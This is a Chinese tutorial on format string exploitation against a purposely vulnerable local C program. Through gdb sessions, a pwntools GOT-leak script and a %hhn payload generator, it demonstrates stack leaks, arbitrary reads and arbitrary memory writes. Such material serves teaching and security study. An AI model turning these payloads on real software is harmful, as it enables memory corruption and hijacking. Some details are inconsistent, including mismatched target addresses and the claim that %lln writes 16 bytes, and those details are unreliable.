格式化字符串漏洞利用之内存泄露与覆盖

格式化字符串漏洞利用之内存泄露与覆盖

简介

在格式化字符串漏洞中,攻击者通过向格式化字符串函数提供恶意构造的格式化字符串,利用了函数内部的漏洞,可能导致未授权的内存读取、内存泄漏、远程代码执行等安全问题。

漏洞的原因在于格式化字符串函数的参数中包含了类似于%s、%d等格式化占位符,用于指定要输出的变量类型和格式。然而,当攻击者能够控制格式化字符串的输入时,他们可以使用特殊的格式化占位符来读取或修改内存中的数据。

泄露内存

泄露栈内存

源程序

#include<stdio.h>
void main() {
    char format[128];
    int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
    char arg4[10] = "ABCD";
    scanf("%s", format);
    printf(format, arg1, arg2, arg3, arg4);
    printf("\n");
}

编译:

gcc -m32 -fno-stack-protector -no-pie -g -o formatSee formatSee.c

第一步:在printf函数处先下断点,r执行程序后输入%08x.%08x.%08x.%08x.%08x,观察此时栈中的数据

gdb-peda$ b printf
Breakpoint 2 at 0xf7e50030
gdb-peda$ r
Starting program: /home/qufeng/Desktop/format/formatSee 
%08x.%08x.%08x.%08x.%08x

[----------------------------------registers-----------------------------------]
EAX: 0xffffce34 ("%08x.%08x.%08x.%08x.%08x")
EBX: 0x0 
ECX: 0x1 
EDX: 0xf7fb887c --> 0x0 
ESI: 0xf7fb7000 --> 0x1afdb0 
EDI: 0xf7fb7000 --> 0x1afdb0 
EBP: 0xffffcec8 --> 0x0 
ESP: 0xffffcdfc --> 0x8048517 (<main+124>:  add    esp,0x20)
EIP: 0xf7e50030 (<printf>:  call   0xf7f24389)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xf7e5002b <fprintf+27>: ret    
   0xf7e5002c:  xchg   ax,ax
   0xf7e5002e:  xchg   ax,ax
=> 0xf7e50030 <printf>: call   0xf7f24389
   0xf7e50035 <printf+5>:   add    eax,0x166fcb
   0xf7e5003a <printf+10>:  sub    esp,0xc
   0xf7e5003d <printf+13>:  mov    eax,DWORD PTR [eax-0x68]
   0xf7e50043 <printf+19>:  lea    edx,[esp+0x14]
No argument
[------------------------------------stack-------------------------------------]
0000| 0xffffcdfc --> 0x8048517 (<main+124>: add    esp,0x20)
0004| 0xffffce00 --> 0xffffce34 ("%08x.%08x.%08x.%08x.%08x")
0008| 0xffffce04 --> 0x1 
0012| 0xffffce08 --> 0x88888888 
0016| 0xffffce0c --> 0xffffffff 
0020| 0xffffce10 --> 0xffffce2a ("ABCD")
0024| 0xffffce14 --> 0xffffce34 ("%08x.%08x.%08x.%08x.%08x")
0028| 0xffffce18 --> 0x80481fc --> 0x38 ('8')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0xf7e50030 in printf () from /lib32/libc.so.6

栈中的第一个数据是返回地址,第二个地址是格式化字符串的地址,第三个地址是arg1,第四个地址是arg2,第五个地址是arg3,第六个地址是arg4

结论:由于在 x86 上栈由高地址向低地址增长,而 printf() 函数的参数是以逆序被压入栈的,所以参数在内存中出现的顺序与在 printf() 调用时出现的顺序是一致的。

第二步:程序继续运行,可以发现程序按照正常的顺序输出了arg1-4,同时也输出了ffffce34这个额外的栈内存

gdb-peda$ x /10x $esp
0xffffcdfc: 0x08048517  0xffffce34  0x00000001  0x88888888
0xffffce0c: 0xffffffff  0xffffce2a  0xffffce34  0x080481fc
0xffffce1c: 0xffffce88  0xf7ffda74
gdb-peda$ c
Continuing.
00000001.88888888.ffffffff.ffffce2a.ffffce34
[Inferior 1 (process 56926) exited with code 012]

格式字符串 %08x.%08x.%08x.%08x.%08x 表示函数 printf() 从栈中取出 5 个参数并将它们以 8 位十六进制数的形式显示出来。格式化输出函数使用一个内部变量来标志下一个参数的位置。开始时,参数指针指向第一个参数(arg1)。随着每一个参数被相应的格式规范所耗用,参数指针的值也根据参数的长度不断递增。在显示完当前执行函数的剩余自动变量之后,printf() 将显示当前执行函数的栈帧(包括返回地址和参数等)。

当然也可以使用 %p.%p.%p.%p.%p 得到相似的结果。

上面的方法都是依次获得栈中的参数,如果我们想要直接获得被指定的某个参数,可以使用如下格式:

%<arg#>$<format>
%n$x

其中n表示栈中格式字符串后面的第n个值,相对于输出函数来讲是第n+1个参数

第三步:printf处下断点后,r运行,输入%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p,栈中的存储位置不会变,最终的输出结果与构造的格式化字符串理论的输出结果一致

[------------------------------------stack-------------------------------------]
0000| 0xffffcdfc --> 0x8048517 (<main+124>: add    esp,0x20)
0004| 0xffffce00 --> 0xffffce34 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
0008| 0xffffce04 --> 0x1 
0012| 0xffffce08 --> 0x88888888 
0016| 0xffffce0c --> 0xffffffff 
0020| 0xffffce10 --> 0xffffce2a ("ABCD")
0024| 0xffffce14 --> 0xffffce34 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
0028| 0xffffce18 --> 0x80481fc --> 0x38 ('8')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0xf7e50030 in printf () from /lib32/libc.so.6
gdb-peda$ x /10x $esp
0xffffcdfc: 0x08048517  0xffffce34  0x00000001  0x88888888
0xffffce0c: 0xffffffff  0xffffce2a  0xffffce34  0x080481fc
0xffffce1c: 0xffffce88  0xf7ffda74
gdb-peda$ c
Continuing.
ffffffff.00000001.0x88888888.0x88888888.0xffffce2a.0xffffce34.0x80481fc
[Inferior 1 (process 56947) exited with code 012]

通过这种方法,我们可以得到栈上的任意值。

泄露任意地址内存

攻击者可以使用一个“显示指定地址的内存”的格式规范来查看任意地址的内存。例如,使用 %s 显示参数指针所指定的地址的内存,将它作为一个 ASCII 字符串处理,直到遇到一个空字符。如果攻击者能够操纵这个参数指针指向一个特定的地址,那么 %s 就会输出该位置的内存内容。

当然,并不是所有这样的都会正常运行,如果对应的变量不能够被解析为字符串地址,那么,程序就会直接崩溃

第一步:printf处下断点,输入AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p(类似于这种格式)测试,观察栈中的变化

[------------------------------------stack-------------------------------------]
0000| 0xffffcdfc --> 0x8048517 (<main+124>: add    esp,0x20)
0004| 0xffffce00 --> 0xffffce34 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
0008| 0xffffce04 --> 0x1 
0012| 0xffffce08 --> 0x88888888 
0016| 0xffffce0c --> 0xffffffff 
0020| 0xffffce10 --> 0xffffce2a ("ABCD")
0024| 0xffffce14 --> 0xffffce34 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
0028| 0xffffce18 --> 0x80481fc --> 0x38 ('8')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0xf7e50030 in printf () from /lib32/libc.so.6
gdb-peda$ x /20x $esp
0xffffcdfc: 0x08048517  0xffffce34  0x00000001  0x88888888
0xffffce0c: 0xffffffff  0xffffce2a  0xffffce34  0x080481fc
0xffffce1c: 0xffffce88  0xf7ffda74  0x00000001  0x42413490
0xffffce2c: 0x00004443  0x00000000  0x41414141  0x2e70252e
0xffffce3c: 0x252e7025  0x70252e70  0x2e70252e  0x252e7025
gdb-peda$ x /20wb 0xffffce34
0xffffce34: 0x41    0x41    0x41    0x41    0x2e    0x25    0x70    0x2e
0xffffce3c: 0x25    0x70    0x2e    0x25    0x70    0x2e    0x25    0x70
0xffffce44: 0x2e    0x25    0x70    0x2e
gdb-peda$ c
Continuing.
AAAA.0x1.0x88888888.0xffffffff.0xffffce2a.0xffffce34.0x80481fc.0xffffce88.0xf7ffda74.0x1.0x42413490.0x4443.(nil).0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e
[Inferior 1 (process 56960) exited with code 012]

栈中的参数存储位置没有变,其中可以发现格式化字符串存储在0xffffce34,查看这个内存地址中的内容,可以发现正是我们格式化字符串的ASCII码。而按照格式化字符串的输出格式,格式化字符串的值在输出结果的第13个位置开始。即如果使用 %13$s 即可读出 0x41414141 处的内容(因为这里使用的%p测试,如果使用%s测试,0x41414141是一个不可解析地址)

第二步:根据上面可知,字符串ABCD存储在0xffffce2a,测试输出这个地址中的字符串内容

qufeng@qufeng-virtual-machine:~/Desktop/format$ python2 -c 'print("\x2a\xce\xff\xff"+".%13$s")' > text222
[------------------------------------stack-------------------------------------]
0000| 0xffffcdfc --> 0x8048517 (<main+124>: add    esp,0x20)
0004| 0xffffce00 --> 0xffffce34 --> 0xffffce2a ("ABCD")
0008| 0xffffce04 --> 0x1 
0012| 0xffffce08 --> 0x88888888 
0016| 0xffffce0c --> 0xffffffff 
0020| 0xffffce10 --> 0xffffce2a ("ABCD")
0024| 0xffffce14 --> 0xffffce34 --> 0xffffce2a ("ABCD")
0028| 0xffffce18 --> 0x80481fc --> 0x38 ('8')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0xf7e50030 in printf () from /lib32/libc.so.6
gdb-peda$ c
Continuing.
特殊字符.ABCD
[Inferior 1 (process 57148) exited with code 012]

栈中的第13个位置存放的是0xffffce2a,即我们输入的格式化字符串的第一部分,然后使用%s输出这个地址中的字符串内容ABCD

我们真正经常用到的地方是,把程序中某函数的 GOT 地址传进去,然后获得该地址所对应的函数的虚拟地址。然后根据函数在 libc 中的相对位置,计算出我们需要的函数地址(如 system()

第一步:查看重定向表

qufeng@qufeng-virtual-machine:~/Desktop/format$ readelf -r formatSee

Relocation section '.rel.dyn' at offset 0x2e8 contains 1 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
08049ffc  00000206 R_386_GLOB_DAT    00000000   __gmon_start__

Relocation section '.rel.plt' at offset 0x2f0 contains 4 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a00c  00000107 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
0804a010  00000307 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
0804a014  00000407 R_386_JUMP_SLOT   00000000   putchar@GLIBC_2.0
0804a018  00000507 R_386_JUMP_SLOT   00000000   __isoc99_scanf@GLIBC_2.7

第二步:.rel.plt 中有四个函数可供我们选择,逐个尝试

qufeng@qufeng-virtual-machine:~/Desktop/format$ python -c 'print("\x0c\xa0\x04\x08"+".%13$p")' | ./formatSee 
特殊字符.0x2e0804a0
qufeng@qufeng-virtual-machine:~/Desktop/format$ python -c 'print("\x10\xa0\x04\x08"+".%13$p")' | ./formatSee 
特殊字符.0x804a010
qufeng@qufeng-virtual-machine:~/Desktop/format$ python -c 'print("\x14\xa0\x04\x08"+".%13$p")' | ./formatSee 
特殊字符.0x804a014
qufeng@qufeng-virtual-machine:~/Desktop/format$ python -c 'print("\x18\xa0\x04\x08"+".%13$p")' | ./formatSee 
特殊字符.0x804a018

发现第一个最后输出的地址不是我们输入的地址,原因如下:

Oct   Dec   Hex   Char
──────────────────────────────────────
014   12    0C    FF  '\f' (form feed)

有特殊含义,还有\x07(’\a’)、\x08(’\b’)、\x20(SPACE)

第三步:选择 __isoc99_scanf

qufeng@qufeng-virtual-machine:~/Desktop/format$ python -c 'print("\x18\xa0\x04\x08"+".%13$s")' > text333
gdb-peda$ r < text333

[------------------------------------stack-------------------------------------]
0000| 0xffffcdfc --> 0x8048517 (<main+124>: add    esp,0x20)
0004| 0xffffce00 --> 0xffffce34 --> 0x804a018 --> 0xf7e625c0 (<__isoc99_scanf>: push   ebp)
0008| 0xffffce04 --> 0x1 
0012| 0xffffce08 --> 0x88888888 
0016| 0xffffce0c --> 0xffffffff 
0020| 0xffffce10 --> 0xffffce2a ("ABCD")
0024| 0xffffce14 --> 0xffffce34 --> 0x804a018 --> 0xf7e625c0 (<__isoc99_scanf>: push   ebp)
0028| 0xffffce18 --> 0x80481fc --> 0x38 ('8')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0xf7e50030 in printf () from /lib32/libc.so.6
gdb-peda$ c
Continuing.
特殊字符
[Inferior 1 (process 57278) exited with code 012]

可以得到__isoc99_scanf的虚拟地址为0xf7e625c0,可以通过x/w指令查看,由于0x804a018处仍然是一个指针地址,所以没有成功打印字符串

第四步:借助pwntools来得到正确格式的地址

from pwn import *
sh = process('./formatSee')
leakmemory = ELF('./formatSee')
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%13$s'
print payload
gdb.attach(sh)
sh.sendline(payload)
sh.recvuntil('%13$s\n')
print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got
sh.interactive()

运行结果:

qufeng@qufeng-virtual-machine:~/Desktop/format$ python formatSee.py
[+] Starting local process './formatSee': pid 58749
[*] '/home/qufeng/Desktop/format/formatSee'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
0x804a018
\x18\x04%13$s
[*] Process './formatSee' stopped with exit code 10 (pid 58749)
0xf7e165c0

覆盖内存

覆盖栈内容

尝试将 arg2 的值更改为任意值(比如 0x00000020,十进制 32)

在 gdb 中可以看到得到 arg2 的地址 0xffffce08,那么我们构造格式字符串 \x08\xce\xff\xff%08x%08x%012d%13$n,其中 \x08\xce\xff\xff 表示 arg2 的地址,占 4 字节,%08x%08x 表示两个 8 字符宽的十六进制数,占 16 字节,%012d 占 12 字节,三个部分加起来就占了 4+16+12=32 字节,即把 arg2 赋值为 0x00000020。格式字符串最后一部分 %13$n 也是最重要的一部分,和上面的内容一样,表示格式字符串的第 13 个参数,即写入 0xffffce08 的地方(0xffffce34),printf() 就是通过这个地址找到被覆盖的内容

第一步:在printf处设置断点,这是执行printf之前的栈情况

[------------------------------------stack-------------------------------------]
0000| 0xffffcdfc --> 0x8048517 (<main+124>: add    esp,0x20)
0004| 0xffffce00 --> 0xffffce34 --> 0xffffce08 --> 0x88888888 
0008| 0xffffce04 --> 0x1 
0012| 0xffffce08 --> 0x88888888 
0016| 0xffffce0c --> 0xffffffff 
0020| 0xffffce10 --> 0xffffce2a ("ABCD")
0024| 0xffffce14 --> 0xffffce34 --> 0xffffce08 --> 0x88888888 
0028| 0xffffce18 --> 0x80481fc --> 0x38 ('8')
[------------------------------------------------------------------------------]

第二步:输入\x08\xce\xff\xff%08x%08x%012d%13$n格式化字符串,printf函数执行后栈情况

[------------------------------------stack-------------------------------------]
0000| 0xffffce00 --> 0xffffce34 --> 0xffffce08 --> 0x20 (' ')
0004| 0xffffce04 --> 0x1 
0008| 0xffffce08 --> 0x20 (' ')
0012| 0xffffce0c --> 0xffffffff 
0016| 0xffffce10 --> 0xffffce2a ("ABCD")
0020| 0xffffce14 --> 0xffffce34 --> 0xffffce08 --> 0x20 (' ')
0024| 0xffffce18 --> 0x80481fc --> 0x38 ('8')
0028| 0xffffce1c --> 0xffffce88 --> 0xf7e13dc8 --> 0x2b76 ('v+')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048517 in main () at formatSee.c:7
7       printf(format, arg1, arg2, arg3, arg4);
gdb-peda$ x /20x $esp
0xffffce00: 0xffffce34  0x00000001  0x00000020  0xffffffff
0xffffce10: 0xffffce2a  0xffffce34  0x080481fc  0xffffce88
0xffffce20: 0xf7ffda74  0x00000001  0x42413490  0x00004443
0xffffce30: 0x00000000  0xffffce08  0x78383025  0x78383025
0xffffce40: 0x32313025  0x33312564  0x00006e24  0xf7e969db

对比 printf() 函数执行前后的输出,printf 首先解析 %13$n 找到获得地址 0xffffce34 的值 0xffffce08,然后跳转到地址 0xffffce08,将它的值 0x88888888 覆盖为 0x00000020,就得到 arg2=0x00000020

覆盖任意地址内存

覆盖为小数字

尝试将arg2 的值更改为2(按照上面覆盖内存的方法,最少有地址占去了4个字节,那么比4小的数是否能够成功呢?)

前面是地址都位于格式字符串之前,这里可以产生尝试地址为格式化字符串之后

分析:"AA%15$nA"+"\x08\xce\xff\xff",开头的 AA 占两个字节,即将地址赋值为 2,中间是 %15$n 占 5 个字节,这里不是 %13$n,因为地址被我们放在了后面,在格式字符串的第 15 个参数,后面跟上一个 A 占用一个字节。于是前半部分总共占用了 2+5+1=8 个字节,刚好是两个参数的宽度,这里的 8 字节对齐十分重要。最后再输入我们要覆盖的地址 \x08\xce\xff\xff

第一步:在printf处设置断点,这是执行printf之前的栈情况

[------------------------------------stack-------------------------------------]
0000| 0xffffcdfc --> 0x8048517 (<main+124>: add    esp,0x20)
0004| 0xffffce00 --> 0xffffce34 ("AA%15$nA\b\316\377\377")
0008| 0xffffce04 --> 0x1 
0012| 0xffffce08 --> 0x88888888 
0016| 0xffffce0c --> 0xffffffff 
0020| 0xffffce10 --> 0xffffce2a ("ABCD")
0024| 0xffffce14 --> 0xffffce34 ("AA%15$nA\b\316\377\377")
0028| 0xffffce18 --> 0x80481fc --> 0x38 ('8')
[------------------------------------------------------------------------------]

第二步:输入AA%15$nA"+"\x08\xce\xff\xff格式化字符串,printf函数执行后栈情况

[------------------------------------stack-------------------------------------]
0000| 0xffffce00 --> 0xffffce34 ("AA%15$nA\b\316\377\377")
0004| 0xffffce04 --> 0x1 
0008| 0xffffce08 --> 0x2 
0012| 0xffffce0c --> 0xffffffff 
0016| 0xffffce10 --> 0xffffce2a ("ABCD")
0020| 0xffffce14 --> 0xffffce34 ("AA%15$nA\b\316\377\377")
0024| 0xffffce18 --> 0x80481fc --> 0x38 ('8')
0028| 0xffffce1c --> 0xffffce88 --> 0xf7e13dc8 --> 0x2b76 ('v+')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048517 in main () at formatSee.c:7
7       printf(format, arg1, arg2, arg3, arg4);
gdb-peda$ x /20x $esp
0xffffce00: 0xffffce34  0x00000001  0x00000002  0xffffffff
0xffffce10: 0xffffce2a  0xffffce34  0x080481fc  0xffffce88
0xffffce20: 0xf7ffda74  0x00000001  0x42413490  0x00004443
0xffffce30: 0x00000000  0x31254141  0x416e2435  0xffffce08
0xffffce40: 0xffffce00  0x00000001  0x000000c2  0xf7e969db

对比 printf() 函数执行前后的输出,printf 首先解析 %15$n 找到获得地址 0xffffce3c 的值 0xffffce08,然后跳转到地址 0xffffce08,将它的值 0x88888888 覆盖为 0x00000002,就得到 arg2=0x00000002

覆盖为大数字

前面的方法直接输入一个地址的十进制就可以进行赋值,可是,这样占用的内存空间太大,往往会覆盖掉其他重要的地址而产生错误。其实我们可以通过长度修饰符来更改写入的值的大小:

char c;
short s;
int i;
long l;
long long ll;
printf("%s %hhn\n", str, &c);       // 写入单字节
printf("%s %hn\n", str, &s);        // 写入双字节
printf("%s %n\n", str, &i);         // 写入4字节
printf("%s %ln\n", str, &l);        // 写入8字节
printf("%s %lln\n", str, &ll);      // 写入16字节

尝试写入 0x12345678 到地址 0xffffce10,即覆盖ABCD字符

第一步:首先输入AAAABBBBCCCCDDDD

[------------------------------------stack-------------------------------------]
0000| 0xffffcdfc --> 0x8048517 (<main+124>: add    esp,0x20)
0004| 0xffffce00 --> 0xffffce34 ("AAAABBBBCCCCDDDD")
0008| 0xffffce04 --> 0x1 
0012| 0xffffce08 --> 0x88888888 
0016| 0xffffce0c --> 0xffffffff 
0020| 0xffffce10 --> 0xffffce2a ("ABCD")
0024| 0xffffce14 --> 0xffffce34 ("AAAABBBBCCCCDDDD")
0028| 0xffffce18 --> 0x80481fc --> 0x38 ('8')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0xf7e50030 in printf () from /lib32/libc.so.6
gdb-peda$ x /20x $esp
0xffffcdfc: 0x08048517  0xffffce34  0x00000001  0x88888888
0xffffce0c: 0xffffffff  0xffffce2a  0xffffce34  0x080481fc
0xffffce1c: 0xffffce88  0xf7ffda74  0x00000001  0x42413490
0xffffce2c: 0x00004443  0x00000000  0x41414141  0x42424242
0xffffce3c: 0x43434343  0x44444444  0x00000000  0x000000c2
gdb-peda$ x /4wb 0xffffce08
0xffffce08: 0x88    0x88    0x88    0x88

第二步:构造payload

想要逐字节覆盖,就需要 4 个用于跳转的地址,4 个写入地址和 4 个值,对应关系如下(小端序):

0xffffce34:0x41414141替换成0xffffce08存放0x78      第13个参数
0xffffce38:0x42424242替换成0xffffce09存放0x56      第14个参数
0xffffce3c:0x43434343替换成0xffffce0a存放0x34      第15个参数
0xffffce40:0x44444444替换成0xffffce0b存放0x12      第16个参数

现在payload暂时为:

"\x08\xce\xff\xff"+"\x09\xce\xff\xff"+"\x0a\xce\xff\xff"+"\x0b\xce\xff\xff"

前面是4个写入地址,共4*4=16个字节。后面部分是写入部分,使用了hh,故只会保留1个字节

第一个地址要存放0x78,故还需要输出104(16+104=120=0x78)

第二个地址要存放0x56,故还需要输出222(120+222=342=0x0156)

第三个地址要存放0x34,故还需要输出222(342+222=564=0x0234)

第四个地址要存放0x12,故还需要输出222(564+222=786=0x312)

最终payload:

python -c 'print("\x08\xce\xff\xff"+"\x09\xce\xff\xff"+"\x0a\xce\xff\xff"+"\x0b\xce\xff\xff"+"%104c%13$hhn"+"%222c%14$hhn"+"%222c%15$hhn"+"%222c%16$hhn")' >text222

第三步:执行,在printf处设置断点

scanf输入的值:

python -c 'print("\x2a\xce\xff\xff"+"\x2b\xce\xff\xff"+"\x2c\xce\xff\xff"+"\x2d\xce\xff\xff"+"%104c%13$hhn"+"%222c%14$hhn"+"%222c%15$hhn"+"%222c%16$hhn")' >text222

断点前:

[------------------------------------stack-------------------------------------]
0000| 0xffffcdfc --> 0x8048517 (<main+124>: add    esp,0x20)
0004| 0xffffce00 --> 0xffffce34 --> 0xffffce2a ("ABCD")
0008| 0xffffce04 --> 0x1 
0012| 0xffffce08 --> 0x88888888 
0016| 0xffffce0c --> 0xffffffff 
0020| 0xffffce10 --> 0xffffce2a ("ABCD")
0024| 0xffffce14 --> 0xffffce34 --> 0xffffce2a ("ABCD")
0028| 0xffffce18 --> 0x80481fc --> 0x38 ('8')
[------------------------------------------------------------------------------]

断点后:

[------------------------------------stack-------------------------------------]
0000| 0xffffce00 --> 0xffffce34 --> 0xffffce2a --> 0x12345678 
0004| 0xffffce04 --> 0x1 
0008| 0xffffce08 --> 0x88888888 
0012| 0xffffce0c --> 0xffffffff 
0016| 0xffffce10 --> 0xffffce2a --> 0x12345678 
0020| 0xffffce14 --> 0xffffce34 --> 0xffffce2a --> 0x12345678 
0024| 0xffffce18 --> 0x80481fc --> 0x38 ('8')
0028| 0xffffce1c --> 0xffffce88 --> 0xf7e13dc8 --> 0x2b76 ('v+')
[------------------------------------------------------------------------------]

成功更改arg2的值

注:

  • 首先是需要关闭整个系统的 ASLR 保护,这可以保证栈在 gdb 环境中和直接运行中都保持不变,但这两个栈地址不一定相同
  • 其次因为在 gdb 调试环境中的栈地址和直接运行程序是不一样的,所以我们需要结合格式化字符串漏洞读取内存,先泄露一个地址出来,然后根据泄露出来的地址计算实际地址

也可以使用脚本:

def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr


def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload
payload = fmt_str(6,4,0x0804A028,0x12345678)

其中每个参数的含义基本如下:

  • offset 表示要覆盖的地址最初的偏移
  • size 表示机器字长
  • addr 表示将要覆盖的地址。
  • target 表示我们要覆盖为的目的变量值。

参考

https://in1t0.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_exploit

0 条评论
某人
表情
可输入 255